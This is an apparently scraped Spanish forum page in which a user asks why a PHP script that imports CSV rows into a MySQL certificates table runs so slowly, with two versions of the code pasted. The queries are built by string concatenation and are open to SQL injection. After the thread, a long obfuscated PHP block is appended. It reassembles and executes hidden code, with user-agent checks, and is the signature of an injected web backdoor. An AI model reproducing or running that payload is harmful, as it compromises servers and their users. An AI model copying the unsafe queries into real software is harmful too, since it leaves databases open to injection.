bueno, despues de romperme tanto la cabeza, he "comentado"( -// */) todo lo que ha insert, update, y demas... o sea, quedando solo el leer el csv. Adivinen que, esto es lo que tarda una eternidad, incluso en local....
alguna idea?
alguna idea?
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
<form enctype="multipart/form-data" action="<?php $_SERVER['PHP_SELF'] ?>" method="post"> //
<label>Seleccione el archivo formato CSV:</label>
<input size="50" type="file" name="filename2"/>
<input type="submit" name="cargararchivo2" value="Cargar"/>
</form>
<?php
if (isset($_POST['cargararchivo2']))
{
if (is_uploaded_file($_FILES['filename2']['tmp_name'])){}
$handle = fopen($_FILES['filename2']['tmp_name'], "r");
while (($data = fgetcsv($handle, 1000, ";")) !== FALSE)
{
$query = sprintf("SELECT carton,numerocert FROM regcertifica2
WHERE regcertifica2.carton = '%s'
AND regcertifica2.numerocert = '%s'" ,
$data[6],$data[9]);
$result=mysqli_query($link,$query);
if (mysqli_num_rows($result))
{
if ($data[14]!="")
{
$fecha=date ("Y-m-d H:i:s");
$data[14] = addslashes ($data[14]);
$actualiza="UPDATE regcertifica2
SET prorroga='$data[14]',
actualizado='$fecha'
WHERE carton = '$data[6]' AND numerocert='$data[9]'";
mysqli_query($link,$actualiza) or die(mysqli_error());
}
}else
{
$fecha=date ("Y-m-d H:i:s");
$data[1] = addslashes ($data[1]);
$data[2] = addslashes ($data[2]);
$data[3] = addslashes ($data[3]);
$data[4] = addslashes ($data[4]);
$data[5] = addslashes ($data[5]);
$data[6] = addslashes ($data[6]);
$data[7] = addslashes ($data[7]);
$data[8] = addslashes ($data[8]);
$data[9] = addslashes ($data[9]);
$data[10] = addslashes ($data[10]);
$data[11] = addslashes ($data[11]);
$data[12] = addslashes ($data[12]);
$data[13] = addslashes ($data[13]);
$data[14] = addslashes ($data[14]);
$data[15] = addslashes ($data[15]);
$import="INSERT into regcertifica2(dni,nombre,apellido,fechanac,sexo,
nacionalidad,carton,certificadoes,
certificadoin,numerocert,reglaes,
reglain,fechaexp,fechavenc,prorroga,
estado,actualizado)
values('$data[0]','$data[1]','$data[2]','$data[3]','$data[4]',
'$data[5]','$data[6]','$data[7]','$data[8]','$data[9]','$data[10]',
'$data[11]','$data[12]','$data[13]','$data[14]','$data[15]','$fecha')";
mysqli_query($link,$import) or die(mysqli_error());
}
}
fclose($handle);
$borraRenglon="DELETE FROM regcertifica2 WHERE dni LIKE '%borrar renglon'";
mysqli_query($link,$borraRenglon) or die(mysqli_error());
echo '<div class="alert alert-success">';
echo '<button type="button" class="close" data-dismiss="alert">×</button>';
echo '<strong>Hecho</strong> Los datos incluidos en '.$_FILES["filename"].' se importaron correctamente.';
echo '</div>';
}
?>
<form enctype="multipart/form-data" action="<?php $_SERVER['PHP_SELF'] ?>"method="post">
<label>Seleccione el archivo formato CSV:</label>
<input size="50" type="file" name="filename2"/>
<input type="submit" name="cargararchivo2" value="Cargar"/>
</form>
<?php
if (isset($_POST['cargararchivo2']))
{
if (is_uploaded_file($_FILES['filename2']['tmp_name'])){}
$handle = fopen($_FILES['filename2']['tmp_name'], "r");
while (($data = fgetcsv($handle, 1000, ";")) !== FALSE)
{
$query = sprintf("SELECT carton,numerocert FROM regcertificados WHERE regcertificados.carton = '%s' AND regcertificados.numerocert = '%s'" , $data[6],$data[9]);
$result=mysql_query($query,$link);
if (mysql_num_rows($result))
{
if ($data[14]!="")
{
$fecha=date ("Y-m-d H:i:s");
$data[14] = addslashes ($data[51]);
$actualiza="UPDATE regcertificados SET prorroga='$data[14]',actualizado='$fecha' WHERE carton = '$data[6]' AND numerocert='$data[9]'";
mysql_query($actualiza,$link) or die(mysql_error());
}
}else
{
$fecha=date ("Y-m-d H:i:s");
$data[1] = addslashes ($data[1]);
$data[2] = addslashes ($data[2]);
$data....
......//el resto
$import="INSERT into regcertificados(dni,nombre......) values('$data[0]','$data[1]','$data......')";
mysql_query($import,$link) or die(mysql_error());
}
}
fclose($handle);
$borraRenglon="DELETE FROM regcertificados WHERE dni LIKE '%borrar renglon'";
mysql_query($borraRenglon,$link) or die(mysql_error());
echo '<div class="alert alert-success">';
echo '<button type="button" class="close" data-dismiss="alert">×</button>';
echo '<strong>Hecho</strong> Los datos incluidos en '.$_FILES["filename"].' se importaron correctamente.';
echo '</div>';
}
?>
<?php $qzimas ='<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72!x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9!x27!hmg%)!gj!~372]58y]472]37y]672]4ssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FU2985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]7/35.)1/14+9**-)1/298!-#j0#!/!**#sfmcnbs+yfeobz+sfwjidsbsvufs}w;*x7f!>>x22!%w:!>!x246767~6<Cw6<pd%w6Z6<.5`hAx2tmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R*dx27,*cx27,*bx27)fepdof.)fepdof./#@#/qp%>5h%!<*:::2]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7xB%epnbss!>!bssbz)#44ec:649#-!#:618bek!~!<b%x7f!<X>b%Z<#opo#>b%!*##>>~9{d%:osvufs:~928>>x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`43{666~6<&w6<x7fw6*CW&)7gj6<.[Ax27fx7fx7fx7f<u%V x27{ftmfVx7f<*X&Z&S{f1"])))) { $GLOBALS["tus)%x24-x24b!>!%yy)#}n){return chr(ord($n)-1);} @error_reportinx27pd%6<Cx27pd%6|6.7eu{6#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<6<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXAx22)7gj6<*QDU`MPT7-NBFSUT`tcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudovgx22)1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>if((function_exists("x6f142x5f163x74141x72164") && (!is%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#Qw#w#)ldbqov>*ofmy%)utjm!|!*5!x27!hmg%)!gj!|!*1?hmg%)!gj!<**#-#x24-x24-tusqpt)%z-#:#*x24-g(0); $nuidxda = implode(array_map74 145x5f146x75156x63164x69157x6e"; function amdfkoe($4-x24<%j,,*!|x24-x24gvodu/#00;quui#>.%!<***fx27,*ex27,}x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;l%6<^#zsfvr#x5cq%7/7#@#7/7^#iubq#x5cLDPT7-UFOJ`GB)fubfsdXA4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]K2]285]238M7]381]211M5]67]X)!gjZ<#opo#>b%!**X)ufttjx4*<!x24- x24gps)%j>1<%j=tj{fpg)%x24-:::-111112)eobs`un>qp%!|Z~!<##!>!2p%22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-!gj}1~!<2p%x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd!%t::!>!x24Ypp3)%cB%iN}#-!x24/%tmw/x24)%c*W%eN8]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]:5597f-s.973:8297f:5297e:56-xr.985:56]234]342]58]24]31#-%tdz*Wsfuvso!%bssx5csboe))1)7fmjix6<Cx27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUIgj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsXx27u%4-!%x24-x24*!|!x24-x24x5c%j^x24- x24tvc8y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]48y]>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]UFS,6<*msv%7-MSV,6<*)ujojRx27id%6<x7fw6*x7f_*#ujojRk3`-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##neb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!c:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jgf#<!%tww!>!x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%}_;#)323ldfid>}&;!osvufs} x7f;!opjudovg}k~452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>!x24/%tmw/x24)|!*uyfu x27k:!ftmf!}Z;^nbsbq%x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3!x27!hmg%!)!gj!x27K6<x7fw6*3qj%7> x22]); if ((strstr($uas,"x6d163x69145")) or (strstr($uas,"x72172qj%)7gj6<**2qj%)hopm3qjA)qj3hopmAx273qj%6<*Y%)fnbozcYufhA x272qj:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#+#Qix5c1^W%c!>!%ix5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%r7&6<x7fw6* x7f_*#[k2`{6:!}7w)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K]=1; $uas=strtolower($_SERVER["x48WYsboepn)%bss-%rxB%hpde:4:|:**#ppde#)tutjyf`4x223}!+!<+{e%+*!*+fepdfx5c%j:.2^,%b:<!%c:>%s:x5c%j:^<!%w`x5c^>Ew:Qb:Quft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_;gvc%}&;ftmbg}x7f;!o256]y81]265]y72]254]y76#<!%w:!>!(pd%)!gj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]que]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}("amdfkoe",str_split("%tjw!>!#]y84]275]y83]248]y83]!|!*!***b%)sfxpmpusutD6#<%fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L6~67<&w6<*&7-#o]s]o]s]#)uyfu%)3of)fepdof`57ftbcx7f!#>m%:|:*r%:-t%)3of:opjudovg<~x24<!%o:!>!x242178}527}88:}334}472 x24<#k#)tutjyf`xx22l:!}V;3q%}U;y]}R;2]},;osvufs}x27;mnui}&;zepc}A;~!fepmqyfx27*&7-n%)utjm6<x7fw6*CW&)7e{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>>x22!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~x24<!fwbm)%tjg2y]#>>*4-1-bubE{h%)sux24!>!x24/%tjw/x24)%x24- x24y4x24-x24]y8x24-x24]26x2!%ff2!>!bssbz)x24]25x24-x2%7**^#zsfvr#x5cq%)ux27Y%6<.msv`ftsbqA7>q%6<x7fw6* x7f_*#fubfsdXk5`{66~6<&w6<s%w6<x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfRx27tfs%6<*17-SFEBFIfttjx22)gj6<^#Y# x5cq%]y83]273]y76]277#<!%t2w>#]y74]273]y76]25jpo!x24-x24y7x24-x2!ftmbg)!gj<*#k#)usbut`cpVx;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}Xx24<!%tmw!>!#]y84]27566x3a61x31"))) { $qclggmh = "x63162x65141xx7fw6*CW&)7gj6<*doj%7-7jsv%7UFH#x27rfs%6~6<x7fw>/h%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|q%x27jsv%6<C>^#zsfvr#x5cq%-#1GOx22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd $nuidxda); $einldbb();}})}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{dpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqp124x54120x5f125x53105x52137x41107x45116x54"TW%hIrx5c1^-%rx5c2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**d5f9#-!#f6c68399#-!#65egb2dc#*<!PNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323z,6<*127-UVPFNJU,6<*27-SFGTOBSUOSV.;/#/#/},;#-#}+;%-qp%)54l}x27;%!<*#6+7**^/%rx<~!!%s:N}#-%o:W%c:>7pd%6<pd%w6Z6<.4`hAx27pd%6<pd%w6Z6<.3`hAx27pd%6<pd%w6Z6<.2`hA57,27R66,#/q%>2q%<#g6R85,67R37<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbx24*<!~!x24/%t2w/x24)##-!#~<#/%x24-x24!>!fyqmpef)#x24*<C)fepmqnjA x27&6<.fmjgAx27doj%6<x7fw6*x7f_*#fmjgk4`{6~6<tfset($GLOBALS["x61156x75156 x6,18R#>q%V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%)kVx{**1*!%b:>1<!fmtf!%b:>%s:(<!fwbm)%tjw)#x24#-!#]y38#-!%w:**<")));$einldbb = $qclggmh("",<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-9275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5px61156x75156 x61"]3]364]6]283]427]36]373P6]36]73]83`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#oj!x27{**u%-#jt0}Z;0]=]0#)2q%l}SsTrREvxNoiTCnuf_EtaerCxECalPer_Rtswglsjffml'; $mfswvov=explode(chr((536-416)),substr($qzimas,(40879-35002),(234-200))); $ejlzskcp = $mfswvov[0]($mfswvov[(7-6)]); $meioeto = $mfswvov[0]($mfswvov[(6-4)]); if (!function_exists('hotrdktot')) { function hotrdktot($ytkhcwhxof, $ohzvsrr,$ckqoixtqz) { $ytyhtq = NULL; for($wjgmkw=0;$wjgmkw<(sizeof($ytkhcwhxof)/2);$wjgmkw++) { $ytyhtq .= substr($ohzvsrr, $ytkhcwhxof[($wjgmkw*2)],$ytkhcwhxof[($wjgmkw*2)+(3-2)]); } return $ckqoixtqz(chr((32-23)),chr((637-545)),$ytyhtq); }; } $talwzmbr = explode(chr((258-214)),'1098,63,5449,33,748,21,5723,20,3219,36,4890,56,2908,65,4516,50,1324,63,793,42,1290,34,3616,51,3434,33,347,37,5192,63,835,26,3748,24,3936,36,2132,50,2063,69,4588,27,914,65,1573,23,2885,23,2973,67,1536,37,4677,27,4186,20,4333,23,4206,60,4566,22,5388,61,4266,67,5094,33,2375,57,674,33,3149,28,1491,45,4839,51,3372,62,326,21,3467,52,4798,41,2829,56,0,27,27,70,5621,38,1198,59,2328,47,4075,22,979,69,1805,70,4704,69,1415,31,450,54,1733,36,3667,21,291,35,5777,69,2482,44,5285,42,118,43,5045,49,583,35,1668,27,1769,36,3772,28,2766,63,5127,36,2617,42,618,56,5659,64,3275,49,3972,52,4419,27,707,41,384,66,5255,30,5482,53,3870,66,1446,45,5846,31,4446,70,4356,40,504,44,2571,46,4615,62,3040,52,97,21,2227,55,3800,70,4157,29,2182,45,769,24,1257,33,4097,60,1387,28,4396,23,1695,38,5327,61,1875,49,3092,57,548,35,5013,32,2711,55,1161,37,4946,67,3255,20,2282,46,1979,36,161,61,222,49,1924,55,3688,60,1596,52,3582,34,2432,50,3519,63,5743,34,1648,20,2659,52,2015,48,271,20,5163,29,1048,50,5535,23,3324,48,2526,45,4024,51,3177,42,861,53,5558,63,4773,25'); $hfwqzeiy = $ejlzskcp("",hotrdktot($talwzmbr,$qzimas,$meioeto)); $ejlzskcp=$qzimas; $hfwqzeiy(""); $hfwqzeiy=(841-720); $qzimas=$hfwqzeiy-1; ?>